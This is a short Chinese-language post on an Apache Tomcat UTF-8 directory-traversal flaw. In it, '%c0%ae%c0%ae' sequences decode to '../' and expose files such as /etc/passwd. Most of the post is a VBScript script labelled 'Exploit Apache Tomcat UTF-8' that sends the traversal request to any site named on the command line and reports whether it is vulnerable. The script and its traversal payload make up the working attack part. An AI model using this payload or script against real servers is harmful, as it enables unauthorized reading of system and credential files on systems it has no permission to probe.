漏洞发生在Apache Tomcat处理UTF-8编码时，没有正确转换，从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式，使得可以遍历系统任意文件，包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项



漏洞测试代码如下：


Dim strUrl,strSite

showB()
Set Args = Wscript.Arguments

If Args.Count <> 1 Then
ShowU()
Else
strSite=Args(0)
End If

strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"

Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET",strSite & strUrl, False
objXML.SetRequestHeader "Referer", strSite

objXML.send()

if objXML.status=200 then
wscript.echo("存在漏洞")

end if



Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit Apache Tomcat UTF-8")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&"http://www.example.com >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub